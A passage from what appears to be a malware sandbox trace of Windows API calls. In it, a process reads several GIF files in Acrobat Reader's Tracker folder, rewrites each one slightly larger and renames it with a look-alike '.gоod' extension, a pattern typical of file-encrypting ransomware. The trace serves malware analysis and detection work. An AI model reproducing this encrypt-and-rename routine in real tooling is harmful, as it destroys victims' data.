lpOldMode=0x1f35bf40) returned 1 [0123.181] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\rss.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\rss.gif.gоod")) returned 1 [0123.182] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif", lpFilePart=0x0) returned 0x4e [0123.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0123.182] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_issue.gif"), fInfoLevelId=0x0, lpFileInformation=0x34cdd80 | out: lpFileInformation=0x34cdd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0123.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0123.183] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif", lpFilePart=0x0) returned 0x4e [0123.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0123.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_issue.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.183] GetFileType (hFile=0x768) returned 0x1 [0123.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0123.183] GetFileType (hFile=0x768) returned 0x1 [0123.183] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x240 [0123.183] ReadFile (in: hFile=0x768, lpBuffer=0x34ce358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34ce358*, lpNumberOfBytesRead=0x1f35bf48*=0x240, lpOverlapped=0x0) returned 1 [0123.184] CloseHandle (hObject=0x768) returned 1 [0124.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0124.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_issue.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0124.343] GetFileType (hFile=0x640) returned 0x1 [0124.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0124.343] GetFileType (hFile=0x640) returned 0x1 [0124.343] WriteFile (in: hFile=0x640, lpBuffer=0x369e1e8*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x369e1e8*, lpNumberOfBytesWritten=0x1f35be58*=0x250, lpOverlapped=0x0) returned 1 [0124.344] CloseHandle (hObject=0x640) returned 1 [0124.344] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif", lpFilePart=0x0) returned 0x4e [0124.344] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif.gоod", lpFilePart=0x0) returned 0x53 [0124.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0124.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_issue.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4653ccf2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0124.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0124.345] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_issue.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_issue.gif.gоod")) returned 1 [0124.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif", lpFilePart=0x0) returned 0x4b [0124.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0124.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_lg.gif"), fInfoLevelId=0x0, lpFileInformation=0x369f4a8 | out: lpFileInformation=0x369f4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4e7)) returned 1 [0124.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0124.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif", lpFilePart=0x0) returned 0x4b [0124.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0124.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_lg.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0124.346] GetFileType (hFile=0x640) returned 0x1 [0124.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0124.346] GetFileType (hFile=0x640) returned 0x1 [0124.346] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x4e7 [0124.347] ReadFile (in: hFile=0x640, lpBuffer=0x369fc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x369fc48*, lpNumberOfBytesRead=0x1f35bf48*=0x4e7, lpOverlapped=0x0) returned 1 [0124.348] CloseHandle (hObject=0x640) returned 1 [0124.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0124.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_lg.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0124.482] GetFileType (hFile=0x6e0) returned 0x1 [0124.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0124.482] GetFileType (hFile=0x6e0) returned 0x1 [0124.482] WriteFile (in: hFile=0x6e0, lpBuffer=0x3521048*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3521048*, lpNumberOfBytesWritten=0x1f35be58*=0x4f0, lpOverlapped=0x0) returned 1 [0124.483] CloseHandle (hObject=0x6e0) returned 1 [0124.483] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif", lpFilePart=0x0) returned 0x4b [0124.483] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif.gоod", lpFilePart=0x0) returned 0x50 [0124.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0124.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_lg.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x46694225, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0124.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0124.483] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_lg.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_lg.gif.gоod")) returned 1 [0124.484] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif", lpFilePart=0x0) returned 0x4b [0124.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0124.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_ok.gif"), fInfoLevelId=0x0, lpFileInformation=0x3522300 | out: lpFileInformation=0x3522300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe1)) returned 1 [0124.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0124.484] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif", lpFilePart=0x0) returned 0x4b [0124.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0124.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_ok.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0124.485] GetFileType (hFile=0x6e0) returned 0x1 [0124.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0124.485] GetFileType (hFile=0x6e0) returned 0x1 [0124.485] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0xe1 [0124.485] ReadFile (in: hFile=0x6e0, lpBuffer=0x35226a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x35226a0*, lpNumberOfBytesRead=0x1f35bf48*=0xe1, lpOverlapped=0x0) returned 1 [0124.486] CloseHandle (hObject=0x6e0) returned 1 [0124.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0124.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_ok.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0124.514] GetFileType (hFile=0x6e0) returned 0x1 [0124.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0124.514] GetFileType (hFile=0x6e0) returned 0x1 [0124.514] WriteFile (in: hFile=0x6e0, lpBuffer=0x359a0f0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x359a0f0*, lpNumberOfBytesWritten=0x1f35be58*=0xf0, lpOverlapped=0x0) returned 1 [0124.515] CloseHandle (hObject=0x6e0) returned 1 [0124.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif", lpFilePart=0x0) returned 0x4b [0124.516] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif.gоod", lpFilePart=0x0) returned 0x50 [0124.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0124.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_ok.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x466e09de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0124.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0124.516] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_ok.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_ok.gif.gоod")) returned 1 [0124.516] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif", lpFilePart=0x0) returned 0x56 [0124.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0124.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\stop_collection_data.gif"), fInfoLevelId=0x0, lpFileInformation=0x359b3a8 | out: lpFileInformation=0x359b3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x393)) returned 1 [0124.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0124.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif", lpFilePart=0x0) returned 0x56 [0124.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0124.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\stop_collection_data.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0124.517] GetFileType (hFile=0x6e0) returned 0x1 [0124.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0124.517] GetFileType (hFile=0x6e0) returned 0x1 [0124.517] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x393 [0124.517] ReadFile (in: hFile=0x6e0, lpBuffer=0x359ba58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x359ba58*, lpNumberOfBytesRead=0x1f35bf48*=0x393, lpOverlapped=0x0) returned 1 [0124.959] CloseHandle (hObject=0x6e0) returned 1 [0125.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0125.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\stop_collection_data.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0125.020] GetFileType (hFile=0x6e0) returned 0x1 [0125.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0125.020] GetFileType (hFile=0x6e0) returned 0x1 [0125.020] WriteFile (in: hFile=0x6e0, lpBuffer=0x36e4640*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x36e4640*, lpNumberOfBytesWritten=0x1f35be58*=0x3a0, lpOverlapped=0x0) returned 1 [0125.021] CloseHandle (hObject=0x6e0) returned 1 [0125.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif", lpFilePart=0x0) returned 0x56 [0125.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif.gоod", lpFilePart=0x0) returned 0x5b [0125.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0125.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\stop_collection_data.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x46ba52c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1 [0125.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0125.021] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\stop_collection_data.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\stop_collection_data.gif.gоod")) returned 1 [0125.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif", lpFilePart=0x0) returned 0x54 [0125.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0125.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\submission_history.gif"), fInfoLevelId=0x0, lpFileInformation=0x36e5930 | out: lpFileInformation=0x36e5930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38a)) returned 1 [0125.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0125.023] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif", lpFilePart=0x0) returned 0x54 [0125.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0125.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\submission_history.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0125.024] GetFileType (hFile=0x6e0) returned 0x1 [0125.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0125.024] GetFileType (hFile=0x6e0) returned 0x1 [0125.024] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x38a [0125.024] ReadFile (in: hFile=0x6e0, lpBuffer=0x36e63b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x36e63b0*, lpNumberOfBytesRead=0x1f35bf48*=0x38a, lpOverlapped=0x0) returned 1 [0125.164] CloseHandle (hObject=0x6e0) returned 1 [0125.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0125.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\submission_history.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0125.192] GetFileType (hFile=0x6e0) returned 0x1 [0125.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0125.192] GetFileType (hFile=0x6e0) returned 0x1 [0125.192] WriteFile (in: hFile=0x6e0, lpBuffer=0x35d8c40*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x35d8c40*, lpNumberOfBytesWritten=0x1f35be58*=0x390, lpOverlapped=0x0) returned 1 [0125.492] CloseHandle (hObject=0x6e0) returned 1 [0125.757] GetFullPathNameW 